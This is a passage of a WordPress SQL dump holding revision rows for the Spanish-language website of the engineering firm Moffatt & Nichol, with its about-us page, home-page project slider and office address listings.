expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancías a nivel mundial. Hoy en día, con una cartera de más de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis áreas principales: puertos; recursos costeros, medioambientales e hídricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspección y rehabilitación; y energía. Estas áreas de especialización son complementadas por un grupo asesor comercial interno con analistas marítimos y de logística que se especializan en la adquisición y fusión de activos de infraestructura marítima, sistemas de transporte intermodal y pronósticos de ingresos asociados con el movimiento de carga.\r\n\r\nNuestro personal profesional y técnico de calidad mundial ofrece a los clientes una visión integral del proyecto, con prácticas esenciales que reflejan la correlación única entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseño y hasta la terminación del proyecto.\r\n\r\n<br />\r\n\r\n<h3>nuestra misión</h3> Ofrecemos soluciones que son innovadoras, prácticas, rentables y eficientes, pero nos distinguimos de la competencia con décadas de imaginación y un nivel de experiencia y calidad que no tiene igual. \r\n\r\n<br />\r\n\r\n<h3>nuestra visión</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacción del cliente nuestra prioridad, y el servicio que proporcionamos en seis áreas principales de la práctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnología. Nuestra experiencia incomparable se basa en décadas de excelencia técnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros éxitos.\r\n\r\n<br />\r\n\r\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputación, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\r\n<ul>\r\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\r\n	<li>Mantener una fuerte tradición de conducta ética como la base de nuestro negocio.</li>\r\n	<li>Jamás hay que basarse en éxitos pasados. Mejorar constantemente nuestras habilidades y métodos.</li>\r\n	<li>Rendir más de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfección.</li>\r\n	<li>Asegurar nuestro futuro mediante la superación constante de las expectativas de nuestros clientes.</li>\r\n	<li>Respetar a nuestros competidores.</li>\r\n	<li>Compartir nuestras ganancias con los empleados.</li>\r\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\r\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\r\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\r\n</ul>\r\n</div>\r\n<div class=\"about-us-right\">\r\n<h3>certificaciones</h3>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea mÃ¡s informaciÃ³n, pÃ³ngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\r\n\r\n<div class=\"certi-images\"><img title=\"Certificaciones\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\r\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','inherit','open','open','','295-revision-8','','','2012-06-14 12:43:35','2012-06-14 12:43:35','',295,'http://moffattnichol.com/spanish/295-revision-8/',0,'revision','',0),(2448,1,'2012-06-14 12:49:14','2012-06-14 12:49:14','<div class=\"content_faq\">\r\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Los directores fundadores\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\r\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\r\n&nbsp; &nbsp;\r\n<div class=\"about-us-left\">\r\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habían establecido una reputación como ingenieros creativos que entregaban diseños factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingeniería de frentes costeros, consolidando una firma que iría mucho más allá de la costa.\r\n\r\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de Norteamérica, Europa, América Latina y la Cuenca del Pacífico; la especialidad de Moffatt &amp; Nichol se ha expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancías a nivel mundial. Hoy en día, con una cartera de más de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis áreas principales: puertos; recursos costeros, medioambientales e hídricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspección y rehabilitación; y energía. Estas áreas de especialización son complementadas por un grupo asesor comercial interno con analistas marítimos y de logística que se especializan en la adquisición y fusión de activos de infraestructura marítima, sistemas de transporte intermodal y pronósticos de ingresos asociados con el movimiento de carga.\r\n\r\nNuestro personal profesional y técnico de calidad mundial ofrece a los clientes una visión integral del proyecto, con prácticas esenciales que reflejan la correlación única entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseño y hasta la terminación del proyecto.\r\n\r\n<br />\r\n\r\n<h3>nuestra misión</h3> Ofrecemos soluciones que son innovadoras, prácticas, rentables y eficientes, pero nos distinguimos de la competencia con décadas de imaginación y un nivel de experiencia y calidad que no tiene igual. \r\n\r\n<br />\r\n\r\n<h3>nuestra visión</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacción del cliente nuestra prioridad, y el servicio que proporcionamos en seis áreas principales de la práctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnología. Nuestra experiencia incomparable se basa en décadas de excelencia técnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros éxitos.\r\n\r\n<br />\r\n\r\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputación, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\r\n<ul>\r\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\r\n	<li>Mantener una fuerte tradición de conducta ética como la base de nuestro negocio.</li>\r\n	<li>Jamás hay que basarse en éxitos pasados. Mejorar constantemente nuestras habilidades y métodos.</li>\r\n	<li>Rendir más de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfección.</li>\r\n	<li>Asegurar nuestro futuro mediante la superación constante de las expectativas de nuestros clientes.</li>\r\n	<li>Respetar a nuestros competidores.</li>\r\n	<li>Compartir nuestras ganancias con los empleados.</li>\r\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\r\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\r\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\r\n</ul>\r\n</div>\r\n<div class=\"about-us-right\">\r\n<h3>certificaciones</h3>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea más información, póngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\r\n\r\n<div class=\"certi-images\"><img title=\"Certificaciones\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\r\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','inherit','open','open','','295-revision-9','','','2012-06-14 12:49:14','2012-06-14 12:49:14','',295,'http://moffattnichol.com/spanish/295-revision-9/',0,'revision','',0),(2449,1,'2012-06-15 03:41:26','2012-06-15 03:41:26','<div class=\"content_faq\">\r\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Los directores fundadores\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\r\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\r\n&nbsp; &nbsp;\r\n<div class=\"about-us-left\">\r\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habían establecido una reputación como ingenieros creativos que entregaban diseños factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingeniería de frentes costeros, consolidando una firma que iría mucho más allá de la costa.\r\n\r\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de Norteamérica, Europa, América Latina y la Cuenca del Pacífico; la especialidad de Moffatt &amp; Nichol se ha expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancías a nivel mundial. Hoy en día, con una cartera de más de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis áreas principales: puertos; recursos costeros, medioambientales e hídricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspección y rehabilitación; y energía. Estas áreas de especialización son complementadas por un grupo asesor comercial interno con analistas marítimos y de logística que se especializan en la adquisición y fusión de activos de infraestructura marítima, sistemas de transporte intermodal y pronósticos de ingresos asociados con el movimiento de carga.\r\n\r\nNuestro personal profesional y técnico de calidad mundial ofrece a los clientes una visión integral del proyecto, con prácticas esenciales que reflejan la correlación única entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseño y hasta la terminación del proyecto.\r\n\r\n<br />\r\n\r\n<h3>nuestra misión</h3> Ofrecemos soluciones que son innovadoras, prácticas, rentables y eficientes, pero nos distinguimos de la competencia con décadas de imaginación y un nivel de experiencia y calidad que no tiene igual. \r\n\r\n<br />\r\n\r\n<h3>nuestra visión</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacción del cliente nuestra prioridad, y el servicio que proporcionamos en seis áreas principales de la práctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnología. Nuestra experiencia incomparable se basa en décadas de excelencia técnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros éxitos.\r\n\r\n<br />\r\n\r\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputación, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\r\n<ul>\r\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\r\n	<li>Mantener una fuerte tradición de conducta ética como la base de nuestro negocio.</li>\r\n	<li>Jamás hay que basarse en éxitos pasados. Mejorar constantemente nuestras habilidades y métodos.</li>\r\n	<li>Rendir más de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfección.</li>\r\n	<li>Asegurar nuestro futuro mediante la superación constante de las expectativas de nuestros clientes.</li>\r\n	<li>Respetar a nuestros competidores.</li>\r\n	<li>Compartir nuestras ganancias con los empleados.</li>\r\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\r\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\r\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\r\n</ul>\r\n</div>\r\n<div class=\"about-us-right\">\r\n<h3>certificaciones</h3>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea más información, póngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\r\n\r\n<div class=\"certi-images\"><img title=\"Certificaciones\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\r\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','inherit','open','open','','295-revision-10','','','2012-06-15 03:41:26','2012-06-15 03:41:26','',295,'http://moffattnichol.com/spanish/295-revision-10/',0,'revision','',0),(2450,1,'2012-06-13 09:09:27','2012-06-13 09:09:27','<div class=\"content_one\">\r\n  <div class=\"lft_content\">\r\n    <h1>acerca de moffatt &amp; nichol</h1>\r\n    <div class=\"welcome-txt\">Moffatt &amp; Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras lÃneas costeras, puertos y rÃos, asÃ como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.</div>\r\n    <div class=\"moreinformation\"><a title=\"MÃ¡s acerca de Moffatt &amp; Nichol\" href=\"about-us\">MÃ¡s acerca de Moffatt &amp; Nichol</a> | <a title=\"UbicaciÃ³n de las oficinas\" href=\"our-offices\">UbicaciÃ³n de las oficinas</a> | <a title=\"InformaciÃ³n de contacto\" href=\"contact-us\">InformaciÃ³n de contacto</a></div></div>\r\n  <div class=\"logo_center\"><a title=\"Moffatt &amp; Nichol\" href=\"http://moffattnichol.com/spanish/\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/logo_center.jpg\" alt=\"Moffatt &amp; Nichol\" width=\"214\" height=\"86\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"banner\">\r\n  <div class=\"slider-wrap\">\r\n  <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\">proyectos especiales</li>\r\n              <li class=\"cross-link\"><a href=\"#1\" class=\"cross-link\">Puertos, <br />y terminales marÃtimas</a></li>\r\n              <li class=\"cross-link\"><a href=\"#2\" class=\"cross-link\">Recursos costeros, <br /> medioambientales e hÃdricos</a></li>\r\n              <li class=\"cross-link\"><a href=\"#3\" class=\"cross-link\">Transporte, <br />puentes y ferrocarriles</a></li>\r\n              <li class=\"cross-link\"><a href=\"#4\" class=\"cross-link\">Frentes de mar urbanos <br /> y puertos deportivos </a></li>\r\n              <li class=\"cross-link\"><a href=\"#5\" class=\"cross-link\">EnergÃa</a></li>\r\n              <li class=\"cross-link\"><a href=\"#6\" class=\"cross-link\">InspecciÃ³n y rehabilitaciÃ³n</a></li>\r\n            </ul>\r\n    <div id=\"main-photo-slider\" class=\"csw\">\r\n      <div class=\"panelContainer\">\r\n        <div class=\"panel\" title=\"Puertos, puertos, terminales marítimas y\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Reemplazo del muelle 5 de reparaciÃ³n de naves</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol liderÃ³ una empresa conjunta con MN3M que proporcionÃ³ el planeamiento, el anÃ¡lisis, la representaciÃ³n grÃ¡fica, los documentos de contratos de diseÃ±o-licitaciÃ³n-construcciÃ³n, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"De los recursos costeros, ambientales y del agua\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Coney Island Sea-Gate</strong></div>\r\n                <div class=\"project_right\">Como parte de un estudio que examinÃ³ el funcionamiento del proyecto de rellenado de playas de Coney Island, Moffatt &amp; Nichol desarrollÃ³ <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Transporte, ferrocarril y el puente\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-two.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Centro de transferencia de contenedores intermodal Chatham Yard</strong></div>\r\n                <div class=\"project_right\">Bajo un contrato en marcha de servicios profesionales con la autoridad portuaria de Georgia, Moffatt &amp; Nichol completÃ³ el planeamiento, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Frentes de agua urbanos y puertos deportivos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">DiseÃ±o de la ribera de South Lake Union Park</strong></div>\r\n                <div class=\"project_right\">Como parte de un equipo multidisciplinario, Moffatt &amp; Nichol proporcionÃ³ el diseÃ±o de ingenierÃa estructural y costera, ademÃ¡s de la construcciÃ³n <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"energía\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-two.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Terminal de GNL Kitimat</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol completÃ³ la selecciÃ³n del lugar, las evaluaciones de navegaciÃ³n, el apoyo para la aplicaciÃ³n de los reglamentos, el diseÃ±o preliminar, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/energy/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Inspección y rehabilitación\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-four.jpg\" alt=\"\" width=\"588\" height=\"231\" /></div>\r\n          <div class=\"photo-meta-data\">\r\n            <div class=\"project_title\">\r\n              <div class=\"project_left\"><strong class=\"green\">RehabilitaciÃ³n del antiguo muelle 11A de la Marina</strong></div>\r\n              <div class=\"project_right\">Moffatt &amp; Nichol colaborÃ³ con el Puerto unificado de San Diego en la evaluaciÃ³n del antiguo y estratÃ©gicamente localizado muelle 11A de la Marina en San Diego <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/\">Leer mÃ¡s</a></span></div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>','Inicio','','inherit','open','open','','19-revision-3','','','2012-06-13 09:09:27','2012-06-13 09:09:27','',19,'http://moffattnichol.com/spanish/19-revision-3/',0,'revision','',0),(2451,1,'2011-10-17 12:33:50','2011-10-17 12:33:50','<div class=\"content_faq\">\n  <div class=\"lft_contentcreative\">\n    <h1>personas creativas </h1>\n    <div class=\"lft_creative_top\"></div>\n  </div>\n  <div class=\"creative_imagebox\">\n    <div class=\"black_box\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/creative-people.jpg\" /></div>\n  </div>\n</div>\n','Personas creativas ','','inherit','open','open','','10-revision','','','2011-10-17 12:33:50','2011-10-17 12:33:50','',10,'http://moffattnichol.com/spanish/10-revision/',0,'revision','',0),(2452,1,'2012-06-13 09:04:09','2012-06-13 09:04:09','<div class=\"content_faq\">\r\n<div class=\"our_officesimg\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/our_offices.jpg\" alt=\"Nuestras oficinas\" width=\"389\" height=\"217\" /></div>\r\n<div class=\"our_officestxt\">\r\n<h1>nuestras oficinas</h1>\r\n<p class=\"our-office-para\">Con 27 oficinas ubicadas alrededor del mundo, Moffatt &amp; Nichol tiene prestigio internacional como lÃder en la complicada Ã¡rea donde la tierra entra en contacto con el agua. Si desea informaciÃ³n de contacto, seleccione una ubicaciÃ³n.</p>\r\n\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/abu-dhabi.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"1\">ABU DABI</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\nRegus Al Bateen Business Centre,\r\n\r\nSuite 132, Bainunah Street 34,\r\n\r\nP.O. Box 113100,\r\n\r\nAbu Dabi, Emiratos Ãrabes Unidos.\r\n\r\n<strong>teléfono</strong>\r\n\r\n+971 (0)2 406 9696\r\n\r\n<strong>fax</strong>\r\n\r\n+971 (0)2 406 9810\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baltimore.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"2\">Baltimore</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n2700 Lighthouse Point East, Suite 501\r\n\r\nBaltimore, MD 21224\r\n\r\n<strong>teléfono</strong>\r\n\r\n410-563-7300\r\n\r\n<strong>fax</strong>\r\n\r\n410-563-4330\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baton-Rouge-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"3\">Baton Rouge</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n301 Main Street, Suite 800\r\n\r\nBaton Rouge, LA 70825\r\n\r\n<strong>teléfono</strong>\r\n\r\n225-336-2075\r\n\r\n<strong>fax</strong>\r\n\r\n225-336-2076\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/bogota.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"4\">BogotÃ¡</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\nAvenida Cra. 9 N.Â° 113-52, Of.1201\r\n\r\nBogotÃ¡ D.C., Colombia\r\n\r\n<strong>teléfono</strong>\r\n\r\n+57-1213-1149\r\n\r\n<strong>fax</strong>\r\n\r\n+57 1629 4365\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Charleston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"27\">Charleston</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n4975 Lacross Road, Suite 151\r\n\r\nNorth Charleston, SC 29406\r\n\r\n<strong>teléfono</strong>\r\n\r\n+843-576-3750\r\n\r\n<strong>fax</strong>\r\n\r\n+843-576-3755\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Hawaii-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"7\">HONOLULÃš</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n733 Bishop Street, Suite 1740\r\n\r\nHonolulu, HI 96813\r\n\r\n<strong>teléfono</strong>\r\n\r\n808-533-7000\r\n\r\n<strong>fax</strong>\r\n\r\n808-533-7002\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/hoston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"8\">HOUSTON</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n11011 Richmond Avenue, Suite 200\r\n\r\nHouston, TX 77042\r\n\r\n<strong>teléfono</strong>\r\n\r\n713-977-7372\r\n\r\n<strong>fax</strong>\r\n\r\n713-977-7379\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/london.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"9\">LONDRES</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\nFifth Floor, 35 Great St. Helenâ€™s\r\n\r\nLondres EC3A 6HB\r\n\r\nReino Unido\r\n\r\n<strong>teléfono</strong>\r\n\r\n+ 44 (0)20 3206 1062\r\n\r\n<strong>fax</strong>\r\n\r\n+ 44 (0)20 3206 1061\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/long-beach.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"10\">LONG BEACH</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n3780 Kilroy Airport Way, Suite 600\r\n\r\nLong Beach, CA 90806\r\n\r\n<strong>teléfono</strong>\r\n\r\n562-426-9551\r\n\r\n<strong>fax</strong>\r\n\r\n562-424-7489\r\n<div 